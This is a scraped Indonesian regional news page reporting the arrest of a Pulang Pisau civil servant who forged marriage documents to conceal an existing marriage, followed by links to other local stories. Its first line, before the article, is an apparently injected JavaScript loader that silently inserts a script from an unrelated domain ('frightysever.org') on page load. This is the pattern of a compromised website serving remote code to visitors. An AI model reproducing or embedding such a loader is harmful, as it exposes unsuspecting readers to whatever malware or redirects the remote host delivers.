(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Sudah jatuh tertimpa tangga, itulah yang di alami oleh HY ( 41), oknum ASN satpol PP Pulang Pisau. Bagaimana tidak, baru beberapa bulan digugat cerai oleh istrinya WW yang juga seorang ASN di Pulpis, HY juga harus berurusan dengan polisi karena diketahui memalsukan dokumen saat dirinya akan menikahi WW (40), janda juga sebagai ASN di Sidoarjo, Jawa Timur.
Demikian disampaikan dalam Press Cenference oleh Kapolres Pulang Pisau, AKBP Siswo Yuwono Bima Putra Mada didampingi Wakapolres Kompol Imam Riadi serta Kasatreskrim Iptu John Digul Manra senin ( 27/1/2020) kemarin. Disampaikan, jika surat yang dipalsukan pelaku HY adalah dokumen yang digunakan sebagai syarat untuk menikah di KUA, yaitu N1, N2, N3, N4 dan N5. Dimana dalam dokumen tersebut pelaku HY merubah statusnya yang sebenarnya sudah beristri menjadi perjaka.
“Jadi pelaku ini kepada WW yang juga ASN di Jawa sana mengaku masih bujangan, karena percaya WW menerima lamaran HY. Bahkan untuk memuluskan lamarannya, pelaku HY lalu memalsukan surat-surat yang menjadi syarat untuk nikah pada bulan Mei 2019 lalu.
Seiring waktu, WW ini pindah tugas kerja ke Pulpis, nah rupanya tahu jika HY ini sebenarnya sudah memiliki istri lain sebelumnya, yaitu ST yang juga warga Pulang Pisau. Karena merasa malu dan dibohongi, WW lalu menggugat cerai WW,†terang Kapolres yang sambil memperlihatkan dokumen yang di palsukan HY.
Atas pelanggaran tindak pidana membuat surat palsu tersebut, HY pun kini harus di tahan di Polres Pulang Pisau untuk mempertanggung jawabkan perbuatannya. Dirinya pun terancam melanggar pasal 263 ayat (1) KUHP pidana dengan ancaman pidana 6 tahun.
“Kita sudah memanggil beberapa saksi, kemudian juga mengumpulkan beberapa bukti. Namun kita masih akan tetap mengembangkan kasus ini,†terang AKBP Siswo. (Kanalkalimantan.com/Sjy)
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.